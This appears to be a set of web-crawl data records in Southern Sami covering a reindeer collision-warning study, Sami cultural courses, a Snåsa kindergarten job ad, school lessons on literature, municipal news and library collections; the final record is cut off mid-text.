+{"text":"«Animal Sense» – elektrovneles bovtsebïeljelimmie Liehties-teknologije edtja kreekeplåavhkesimmieh hööptedh\nJournal article\nPublished version\nDate2020-06\nMetadataShow full item record\nOriginal versionNIBIO POP. 2020, 6 (31), .\nAbstract\nGosse vijrh, bovtsh jïh gåetienkreekh edtjieh geajnoem jïh ruevtieraajroem rastah, illedahke ij leah iktesth dan aavrehke. Europesne kreekeplåavhkesimmieh læssanamme dej minngemes 40 jaepiej. Lissine itjmies dåeriesmoerine årrodh kreekide jïh almetjidie, daate aaj stoerre siebriedahke- ekonomeles maaksoeh vadta. Daan biejjien ij leah naan teknologeles vuekieh mah maehtieh dagkerh plåavhkesimmieh hööptedh, ij inhtse aktene garre, arktiske daelvieklijmesne. Viehkine smaave jïh energijeradtjoes radioseedtijijstie mah leah tjeapohkebaanti sïjse bïejesovveme, dotkijh daelie systeemem evtiedamme jïh pryöveme mij edtja bïjlevuejiejidie bïeljelidh gosse bovtse lea geajnoen gïetskesisnie. Bïeljelimmiesysteeme lea vuesiehtamme daate maahta hijven nuepieh vedtedh, mænngan dam jieniebinie goh 700 bovtsine pryöveme golme iktemierien daelvieboelhkh. Aajkoe lij bïeljelimmiesysteemen åtnoejearsoesvoetem jïh hööptije effektem vihtiestidh arktiske daelvietsiehkiej nuelesne.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/nibio.brage.unit.no\/nibio-xmlui\/handle\/11250\/2657876","date":"2022-01-24T11:26:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304528.78\/warc\/CC-MAIN-20220124094120-20220124124120-00560.warc.gz","language":"sma","language_score":0.9999761581,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999761581420898}","num_words":128,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaebpien Lena\/Lena Kappfjell Tjaalehraajroe-nehtetjåangkosne mealtan sjædta, gusnie sov dotkemen bïjre mijjine soptsestalla. Daej bearjadahki tsåahka 14.00-14.45 dle Lena båata mijjide daej aamhtesi bïjre lohkehtalla: 24\/01\/2022: \"Guessie tjaanga gåatan jïh dåajmijes vuekie\" 04.02.2022: \"Joejkemen vuelieh jïh vaajesh\" 25.02.2022: \"ČSV - Tjaelieh saemide voestegh\"\nDaelie\nSAAL 2 Åarjelsaemien fierhtenbeajjetje jieliemisnie - Aalkoekuvsje 2.boelhke Lohkehtimmiegïele: Åarjelsaemien. Gusnie: Aarbortesne. Nænnoes jïh intensijve lohkehtimmiemodelle: 15 lohkehtimmietsiehkieh. Lohkehtimmiesoejkesje: Lohkehtallemh, tjåangkoeh jïh tæjmoesoejkesjem daesnie gaavnah.\nMijjieh goelkegaamegh gåaroejibie. Gusnie: Sjeltien gåetesne Maajehjaevresne. Gïeleviehkie lea mealtan kuvsjesne.\nFil.dr. Hanna-Máret Outakoski lea voestes amanuensis Upmejen universiteetesne jïh Nöörjen arktihke universiteetesne (UiT). Outakoski lea lohkehtæjjine Upmejen universiteetesne barkeme jaepien 2001:n raejeste jïh tjaktjen 2021 lea guessielohkehtæjjine Saemien Jillieskuvlesne\/Sámi Allaskuvlesne barkeme. Outakoski joekoenlaakan dam saemien online-lohkehtimmiem maahta jïh lea aaj joekoenlaakan darhkeme guktie virtuelle veartenh maehtieh gïelelohkehtimmiem geervealmetjidie dåarjodh. Outakoskin suerkie lea lingvistihke, mohte sov dåakteretjaalegisnie jïh internationelle post.doc prosjektesne lea tjaelemem, sosiolingvistihkem jïh lohkehtimmiedaajroem darhkeme. Dennie lohkehtimmiedaajrosne lij gïeledidaktihke eeremes jarngesne. Outakoskin båetije prosjekth, mah daan gïjren 2022 aelkieh, dellie edtja vuartasjidh jïh vihtiestidh litteracitetspraksijsem gelliengïeleh aarhskuvlesne jïh edtja aaj goerehtidh man vihkele stååkedimmie lea gïelelohkehtimmesne.\nSamiska vardagsmössor Vi syr enklare samiska mössor för vardagsbruk från syd till nord i vadmal och kläde. Med inspiration från dåtid gör vi egna mönster och syr en vardagsmössa utifrån egna rötters traditioner.Kursledare: Anna-Stina Svakko.Max 10 deltagare. Plass: Sijti Jarnge. Dato: …\nAnna Stina Svakko saemien gåptoej sjaevehts gïelem guvviejgujmie vuesehte. Svakko vuesehte guktie saemien dajvi gåptoej vuekieh maanabaeleste voeresibeajjan vååjnoeh - guktie dovletjibaeliej vuekieh lin jïh guktie daan baaletje vuekieh leah. Gåessie: Goevten 17.biejjien Gusnie: Sïjti jarngesne. Anna-Stina Svakko Dipmáduodji meaštir. Master of Sámi craft, soft materials. Duodjimästare, mjuka material. Fotograf: Simon Eliasson, Region Norrbotten.\nB U E R I E B Å E T E M E | B U R E S B O A H T I N | B U O R I S B OA H T E M B U R I S T B Å H T E M | B U E R E S T B Å H T I E M E | VÄ L KO M M E N MARJA SKUM LOHKEHTALLA DÆJSTAN 26\/10 TS. 19:00 AARBORTESNE, FJELLFOLKETS HUS MARJA SKUM LOHKEHTALLA DÆJSTAN 26\/10 TS. 19:00 …\nMARJA SKUM MÅANTAN «Guktie aerpiemaahtoem lohkehtimmesne utnedh» GOLKEN 25.BIEJJIEN TS.18.00 MARJA SKUM LOHKEHTALLA: «Guktie aerpiemaahtoem lohkehtimmesne utnedh» AARBORTESNE, SIJTI JARNGE BUERIE BÅETEME GAAJHKESH DOVNESH MÅANTAN 25.10.2021\nDan workshopen ulmie jienebh skreejrehtidh aelkedh saemien tjaeledh guktie nimhtie jearsoes jïh væjkeles tjaelijinie sjïdtijibie. Daarpesjibie vielie tjaelijh gïeh leah mealtan gïelem evtiedieh jïh hammoedieh. Programmem daerpiesvoeti jïh vaajtelassi mietie hammoehtibie. Gieltegs aamhtesh leah kaanne guktie baakoegærjam nuhtedh, ....\nGåessie: Golken 13.-15 biejjiej, 2021 Gusnie: Aarborten hotellesne, Hattfjelldal Sïjhth wworkshopesne mealtan årrodh? Daate workshop lea dutnjien gïe tjaalah jallh sïjhth åarjelsaemien tjaeledh barkosne, eejehtimmmesne jallh lohkehtimmesne. Tjïelth Aarborte, Raavrvihke, Snåase jïh Plasssje leah mealtan gïelereeremedajvesne..","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sijtijarnge.no\/sor\/category\/aktuelt\/","date":"2022-01-27T00:29:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305006.68\/warc\/CC-MAIN-20220126222652-20220127012652-00443.warc.gz","language":"sma","language_score":0.9994140863,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9994140863418579}","num_words":440,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pedagogeles åvtehke Snåasen maanagïerte, sæjjasadtjebarkoe\n100 % sæjjasadtjebarkoe gååvnese goh pedagogeles åvtehke Snåasen maanagïertesne Vinjebakken goevtesisnie 01.02.22 raejeste jïh annjebodts dovne maanagïertejaepien 2021-22, dejnie nuepine guhkiedidh dovne 31.03.23. Snåasen maanagïerte lea Snåasen maanagïerte Vinjebakken goevtesisnie jïh Snåasen maanagïerte Breiden goevtesisnie.\nVinjebakken lea maanagïerte golme goevtesigujmie 54 sijjiejgujmie.\nMijjieh pedagogeles åvtehkem ohtsebe mij:\n- Maanagïertelohkehtæjjaööhpehtimmiem åtna.\n- Dïedtem vaalta, lea væjkele gaskesadtedh jïh laavenjostedh\n- Dam jienebekulturelle guarkoe\n- Sæjhta kvaliteetine barkedh jïh maanam, maanan eejhtegh jïh meatabarkijem jarngesne utnedh\nMijjieh faalehtibie:\n- Gieltegs barkoelaavenjassh aktene maanagïertesne evtiedimmesne\n- Jaabnan dåarjoehtimmie\n- Maehteles jïh eadtjohke meatanbarkijh\n- Baalhka latjkoen mietie\nVielie bïevnesh barkoen bïjre åadtjoeh jis åvtehkem gaskesadth, Ingunn Småli tell. 93289476\nSeehteme dorjesåvva sïejhme laaki, njoelkedassi jïh tariffelatjkoej mietie. Tjuara pollisevihtiestimmiem orre biejjeste deelledh åvtelen aalka.\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïeline jïh kultuvremaahtojne.\nJis nyjsenæjjah jïh ålmah seamma maahtoem utnieh sïjhtebe veeljedh dam tjoelem mij lea unnebelåhkosne.\nOhtseme seedtesåvva elektrovneles goeresne. Ohtsememierie 23.01.22\n___________________________________________________________\nPedagogisk leder Snåsa barnehage, vikariat\nDet er ledig 100 % stilling vikariat som ped.leder ved Snåsa barnehage avdeling Vinjebakken fra 01.02.22 og foreløpig ut barnehageåret 2021-22, med mulighet til forlengelse tom 31.01.23. Snåsa barnehage består av Snåsa barnehage avd. Vinjebakken og Snåsa barnehage avd. Breide.\nVinjebakken er en treavdelings barnehage med 54 plasser.\nVi søker etter pedagogisk leder som;\n- Har barnehagelærerutdanning.\n- Er ansvarsbevisst, gode kommunikasjons- og samarbeidsegenskaper\n- Har forståelse for det flerkulturelle\n- Vil jobbe med kvalitet og ha fokus på barnet, barnets foresatte og medarbeideren\nVi tilbyr:\n- Spennende arbeidsoppgaver i en barnehage i utvikling\n- Regelmessig oppfølging\n- Kompetente og engasjerte medarbeidere\n- Lønn etter avtale\nNærmere opplysninger om stillingen fås ved henvendelse til styrer, Ingunn Småli tlf. 93289476\nAnsettelse skjer i h.h.t. de til enhver tid gjeldende lover, reglementer og tariffavtaler. Politiattest av ny dato må framlegges før tiltredelse.\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nUnder ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nSøknad sendes på elektronisk skjema. Søknadsfrist 23.01.22","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/pedagogisk-leder-snasa-barnehage-vikariat.11890.aspx","date":"2022-01-24T05:47:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304515.74\/warc\/CC-MAIN-20220124054039-20220124084039-00458.warc.gz","language":"sma","language_score":0.895871222,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8958712220191956, \"sme_Latn_score\": 0.07184287160634995, \"nob_Latn_score\": 0.030127786099910736}","num_words":304,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.934,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2003\nFaage\nISBN\n82-7374-539-2\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n103\nSaemien eepose Biejjien baernien såangoe jeahnaj laantese.\nGærja eeposem åehpiedahta åarjel-, noerhtesaemien- jïh dovne englaantengïelesne. Gærjan aaj tjihtese Biejjien nïejten jaepmeme. Dïsse lissine dle Harald Gaski artihkelem tjaaleme hearran Anders Fjellneren bïjre jïh altese tjöönghkeme tjihtesi bïjre. Daate eepose jïh dïhte tjihtese soptsestieh saemiej maadtoen bïjre, jïh guktie saemieh biejjien maadtoeladtjh leah. Tjihtesh voestes aejkien bæjhkoehtovvin åarjelsaemiengïelesne. Gærjan aaj baakoelæstoe bïhkemdassigujmie. Harald Gaski artihkelem aaj gærjese tjaaleme Anders Fjellneren bïjre; åarjelsaemien hearra mij eeposem tjeeli Biejjien baernien bïjre. Dïhte artihkele dan eeposen bïjre lea jïh dan gujht aaj muvhth eeposebuerkiestimmieh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ovttas.no\/sma\/girji_biejjien-baernie","date":"2022-01-21T11:51:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303356.40\/warc\/CC-MAIN-20220121101528-20220121131528-00262.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":105,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"General.WelcomeHeader\nDåaroe Ukrainesne\nUkrainesne dåaroe. Dam dån govleme. Polarbibblo baakoeh tjaaleme mah maehtieh buerie årrodh jis soptsestidh dan bïjre mij heannede.\nQuiz darjodh\nDatne mijjen quiz vuartasjamme? Dah leah joekoen hijven dutnjien gie sæjhta vuejnedh man jïjnjem maahta ovmessie aamhtesi bïjre. Jis gaajhkem reakta vaestiedamme jïh utnijem åtnah aaj maahtah veeljedh jis meatan Vuerpesne sïjhth årrodh.\nManne leam hujnies, manne sïjhtem klaeriedidh. Mannasinnie sïjht klaeriedidh? Lea luste, OK?! \"Britt-Marie 2.0\"\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.polarbibblo.se\/sma-se\/","date":"2022-05-23T02:08:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662552994.41\/warc\/CC-MAIN-20220523011006-20220523041006-00007.warc.gz","language":"sma","language_score":0.9999830723,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999830722808838}","num_words":96,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien lyrihke dovne laavlome-teeksth jïh dikth\/tjihtesh. Mijjieh baakoem lyrihke sjangeren bïjre nuhtjebe jïh baakoem dikte\/tjihtese gaajhki dikti bïjre.\nLyrihke\nBaakoe lyrihke greeske baakoste Lyra båata, mij akte instrumeente. Daan biejjien lyrihke dovne laavlome-teeksth jïh dikth\/tjihtesh, men ibie daarpesjh tjoejehtidh mearan lohkeminie. Mijjieh baakoem lyrihke sjangeren bïjre nuhtjebe jïh baakoem dikte\/tjihtese gaajhki dikti bïjre nuhtjebe. Poesije lea gïele mij lyrihke lyrihkese dorje.\nMijjieh tjaelijh aaj utnebe mah dikth, laavlome-teeksth jïh joejkeme-teeksth saemien gïelesne tjaelieh. Paulus Utsi lea aktede dejstie åehpemes saemien tjaelije. Jaepieh dåaroej gaskem Paulus Utsi eelki politihkeles dikth tjaeledh, men idtji dejtie bæjhkohth eannan 1970-låhkosne.\nNils-Aslak Valkeapää aaj akte beagkoes saemien multi-tjiehpiedæjja. Dïhte dikth musihkine jïh guvviejgujmie darjoeji. Jaepien 1991 Nils-Aslak baalhkam Nordisk råds litteraturpris åadtjoeji goh voestes saemie.\nÅarjel-saemien raedtesne Gaebpien Gåsta (Gustav Kappfjell) voestes dikte-gærjam Gaaltije bæjhkoehti jaepien 1987. Gærjesne dovne dikth jïh joejkeme-teeksth. Jïh jaepien 2000 Ella Holm Bull dikte-gærjam Ovmessie darjomes bæjhkoehti. Joseph Fjellgren dikte-gærjam Föörhkedem tjearoem bæjhkoehti jaepien 2012.\nGååvnese aaj vielie tjaelijh mah dikth åarjel-saemien gïelesne tjaaleme guktie Jaahkenelkien Aanna (Anna Jakobsen), Marhta Jåma, Elsa Stångberg jnv.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/nn\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:554569ef-99f7-43fb-884c-0cd905a67850\/resource:fa9114d0-7069-4f38-8d13-d13d5d594ba5","date":"2022-05-21T13:08:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539101.40\/warc\/CC-MAIN-20220521112022-20220521142022-00228.warc.gz","language":"sma","language_score":0.9999415874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999415874481201}","num_words":171,"character_repetition_ratio":0.069,"word_repetition_ratio":0.037,"special_characters_ratio":0.165,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten biejjien mijjieh tjaalegh lohkebe, jïh jeenemes aamhtese-tjaalegh. Dellie lohkebe mij heannede veartanisnie gusnie jielebe. Men eah aamhtese-tjaalegh daarpesjh seammalaakan årrodh.\nAamhtese-tjaalege\nGosse datne baakoem aamhtese-tjaalegh govlh, maam dellie ussjedh?\nDah tjaalegh aamhtese-tjaalegh?\n- beapmoe-bïevnesh\n- tjåanghkoe-referaath\n- prievieh\n- kåserijh\n- esseyh\n- saernie-artihkelh\nAamhtese-tjaalegh jallh aamhtese-prosa?\nDaamhtah mijjieh baakojde aamhtese-tjaalege jïh aamhtese-prosa nuhtjebe. Mij joekehtse? Aamhtese-tjaalegh leah njaalmeldh, tjaaleldh jïh ektiebïejeme-tjaalegh. Men mijjieh baakoem aamhtese-prosa provhkebe tjaalegi bïjre gusnie tjaalaldahke lea vihkeles.\nAamhtese-prosan göökte åejvie-dåehkieh. Mijjieh maehtebe aamhteseprosa-tjaalegh juekedh gööktine åejvie-dåehkine:\n- funksjovneles aamhtese-prosa\n- lidteræære aamhtese-prosa\nFunksjovneles aamhtese-prosa\nFunksjovneles tjaalegh leah tjaalegh mah mijjieh maehtebe mïsse akt nuhtjedh. Vuesiehtimmien gaavhtan:\n- rïevhkehth-tsïegle\n- praedtie-bïevnese\n- skovtere-saernie\n- beapmoe-bïevnese\nRïevkehth-tsïegle mijjese soptseste gusnie ibie maehtieh rïevhkesth. Praedtie-bïevnese mijjese soptseste, maam edtjebe darjodh jis bualije. Skovtere-saernie orre skovteri bïjre soptseste jïh beapmoe-bïevnese mijjem viehkehte beapmoem jurjiehtidh. Ibie daarpesjh daejredh gie tjaalegem tjaaleme, men joekoen vihkeles tjaalege tjuara aajkoen mietie juhtedh. Dan åvteste mijjieh maehtebe åtnoe-tjaalegh gåhtjodh funksjovneles aamhtese-prosine.\nLidteræære aamhtese-prosa\nBaakoe prosa båata dehtie latijnen jiehtiegistie orátio prósa mij akte soptsestimmie jaabne jievkehtimmien jïh vierse-boelhken bielelen. Lidteræære aamhtese-prosa leah aamhteseprosa-tjaalegh gusnie daejrebe gie dïhte tjaelije, jïh tjaelije gaajhkesidie siebriedahkesne tjaala. Dagkerh tjaalegh mijjieh maehtebe dovne gærjine jïh plaerine gaavnedh.\nLidteræære aamhtese-prosa leah tjaalegh guktie esseyh, kåserijh, biografijh, fealadimmie-soptsesh jïh artihkelh ovmessie teemaj bïjre.\nIbie veanhtedh edtjebe maehtedh aktem lidteræære tjaalegem nuhtjedh, men maam akt veanhtadibie gosse lohkebe. Kaanne sïjhtebe vielie lïeredh, åadtjodh daejredh maam jeatjebh ussjedieh. Jallh sïjhtebe ajve hijven tjaalegistie aavoedidh jallh tjaalege maahta mijjem ajve murriedehtedh. Gellien aejkien rïektese maahta seamma gïltehke årrodh goh fantasije.\nBaakoeh\nSaemien\nDaaroen\nåtnoe-tjaalegh\nbrukstekster\nrïektese\nvirkelighet","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/subject:1:20e0fdca-5237-4095-a9e5-cea7d63866c0\/topic:3:159493\/resource:1:159884","date":"2022-07-07T16:06:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104495692.77\/warc\/CC-MAIN-20220707154329-20220707184329-00413.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":253,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tråanten tjïelte saemien tjiehpiedæjjah ohtsede åvtelhkvalifiseremasse tjeahpoeprosjektese\nTråanten tjïelte soejkesje dah göökte staaretjïehtjelh, Cicignonen sijjie jïh Elsa Laula Renbergen sijjie mah Tråanten jarngesne, orrestehtedh jïh tjåanghkan bïejedh aktene tjïehtjelinie. Dan åvteste dah saemien tjiehpiedæjjah ohtsedeminie, dam dah sov needtesæjrosne tjaelieh. Åvtelhkvalifiseeremen ulmie saemien tjiehpiedæjjajgujmie govlehtalledh jïh kandidaath gaavnedh gaptjesovveme gaahtjemasse jïh\/jallh ryöktesth stillemasse. Tjeahpoemoenehtse saemien tjiehpiedæjjah ohtsede mah joe aerebe jallh sijhtieh barkedh tjeahpoeprosjektine mah gelkieh ålkone årrodh staaretjïehtjelisnie.\nOhtsememierie lea mïetsken 28b.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.nrk.no\/sapmi\/nyheter\/traanten-tjielte-saemien-tjiehpiedaejjah-ohtsede-avtelhkvalifiseremasse-tjeahpoeprosjektese-1.16025717","date":"2022-08-08T04:26:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882570765.6\/warc\/CC-MAIN-20220808031623-20220808061623-00402.warc.gz","language":"sma","language_score":0.9999514818,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999514818191528}","num_words":73,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"General.WelcomeHeader\nBuerie båeteme Polarbibblose!\nMan luste datne daesnie! Mijjese maahtah teeksth, gærjahsaernieh jïh guvvieh seedtedh jïh sajtese bïejesovvedh. Jallh sïjhth memory spealadidh jallh quiz darjodh? Aaj maahtah jeatjaj maanaj teeksth lohkedh jïh dej guvvieh vuartasjidh.\nJis dov lea utnije mijjen luvnie maahtah meatan mijjen vuerpesne årrodh. Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie.\nGegkiestibie lustem mijjen ektine åtnah!\nBaakoevijreme maahta aelkedh!\nPolarbibblo orre spïelem åadtjeme! Akten rovhten sisnie dïeves baakoejgujmie libie gellie baakoeh vöörhkeme. Maahtah dejtie gaavnedh? Dah maehtieh gåarhmede, gåpmode jallh dåaresth årrodh. Joekoen smærrehke! Datne jïjtje veeljh mennie gïeline sïjhth spealadidh, aamhtese jïh man geerve.\nManne leam hujnies, manne sïjhtem klaeriedidh. Mannasinnie sïjht klaeriedidh? Lea luste, OK?! \"Britt-Marie 2.0\"\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/","date":"2022-10-01T04:54:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335530.56\/warc\/CC-MAIN-20221001035148-20221001065148-00007.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":139,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bæjhkoje Ole Einar Isaksen Hætta Faage Gïengielåbpoe saemiengïelem ööhpehtidh Eatnemelearoe jïh histovrije Beapmoe jïh healsoe Musihke Siebriedahkefaage Saemien histovrije jïh siebriedahke Saemien 2, 3 jïh 4 Saemien visuelle kultuvre Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Reaktah Aamhtesh Eatnemelearoe Åålmege jïh laanth Saepmie Kultuvre Musihke Siebriedahke Skuvle jïh ööhpehtimmie Viehkiebaakoe Saemien åålmegebiejjie Saemien åålmegebiejjie","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/node\/21381","date":"2023-02-01T11:58:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499934.48\/warc\/CC-MAIN-20230201112816-20230201142816-00417.warc.gz","language":"sma","language_score":0.9988903403,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9988903403282166}","num_words":52,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie bielesne maahtah Raarvihken tjïelten saernieh lohkedh.\nGolken 24 biejjien raejeste dle prosjekte Trööndelaagesne jïh Möre jïh Romsdaelesne juhtieminie «Hïegkem vaeltedh soptsesh dan bïjre- maahta viehkine årrodh!»\nFaaleldahke sovhtevaksijne jïh koronasohtevaksijnem lissiehtidh\/orrestehtedh.\nBïevnesh: Tjïeltedåakteren faaleldahken mietie dle ij edtjh koronavaksijnem jïh sovhtevaksijnem seamma aejkien vaeltedh.\nDaesnie daan jaepien programme.\nSkreejrehtimmietjåanghkoe Trovnesisnie gusnie lokaalebeapmoe, feeledimmie jïh jeatjah jieleme aamhtesinie.\nRaarvihken åålmehmiehtjietjïelte lea Winter Byggtjenester AS:ine latjkeme prosjektine Startpunkt Byrkijinie daan tjaktjen aelkedh.\nGåessie: Dæjstan 13.09.2022\nTs: 1600-1800\nGellie laanten tjïelth SMS-bïeljelimmiem nuhtjieh gåessie edtjieh tjïelten almetjidie deahpadimmiej bïjre bïeljelidh.\nDaan tjaktjen lea håksoejarnge steegkeldahkesne guesside orreme juktie covid-sohte debpene, menh daelie rïhpestamme vihth.Bïeljelh håksoejarngem jis dov naan gyhtjelassh, tel: +47 48 29 32 27\nRaarvihken håksoejarnge lea daelie steegkeldahkesne guesside juktie covid-sohte daebpene.\nUssjedh gåetiem Raarvihkesne åastedh jallh bigkedh? Mijjen naan bïevnesh magkerh dåarjegh gååvnese.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/","date":"2023-02-08T21:10:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500904.44\/warc\/CC-MAIN-20230208191211-20230208221211-00224.warc.gz","language":"sma","language_score":0.9999945164,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999945163726807}","num_words":126,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærjapaahkh\nGaajhkh gærjagåetieh maehtieh gærjapaahkh (våarhkoe) mijjen luvnie löönedh.\nMijjen lea stoerre våarhkoe dovne faagelidteratuvreste jïh tjiehpieslidteratuvreste maanide jïh geerve almetjidie, ovmessie saemien gïeline. Lissine maahta dovne DVD:h, CD:h jïh tjoejegærjah mijjeste löönedh. Gaajhke tjåanghkan bïejesåvva löönijen\/gærjagåetien sjaavnjoej mietie. Gåarede guhkiebasse löönedh.\nGaskesadth mijjem gærjapaahki bïjre daesnie:\nNaestievåarhkoe\nNaestievåarhkosne medtie 1200 tihtelh, mah leah saemien tsiehkiej bïjre jallh leah tjaalasovveme aktene dejstie saemien gïelijste. Jeanatjommes dejstie tihtelijstie lea vielie goh 100 jaepien båeries.\nVåarhkosne dïpmebaaletje, sveekes, båarasåbpoe jïh vyörtegs gærjah jïh tjaalaldahkh, jïh såemies kaarhth bååstede jaapan 1669. Lissine såemies tihtelh dejstie minngemes 100 jaepijste mah sjïere aarvoem utnieh.\nDaelie aadtjen våarhkoem gïehtjedamme jïh gaajhkh tihtelh leah registreereme gærjagåetiesysteemesne. Gåarede dan åvteste dej mietie syökedh seammalaakan goh jeatjah tjaatsegi mietie syökoe. Doh jeanatjommes tjaatsegh naestievåarhkosne låhkoeh utnieh magasijnesne mejtie gåarede löönedh, men ij gåaredh låhkoeh naestievåarhkosne löönedh. Maahta muvhti veajkoej dejtie veedtjedh jïh lohkedh gærjagåetesne.\nAalkoealmetjevåarhkoe\nSaemiedigkien gærjagåetie aktem jïjtse aalkoealmetjevåarhkoem tseegki 2014.\nAalkoealmetjevåarhkosne tjaatsegh aalkoealmetji bïjre abpe veartenisnie, jïh desnie medtie 200 tihtelh. Gærjah mejtie Saemiedigkie lea tjöönghkeme jïh vadtesinie åådtjeme leah registreereme jïh dïllesasse dorjeme 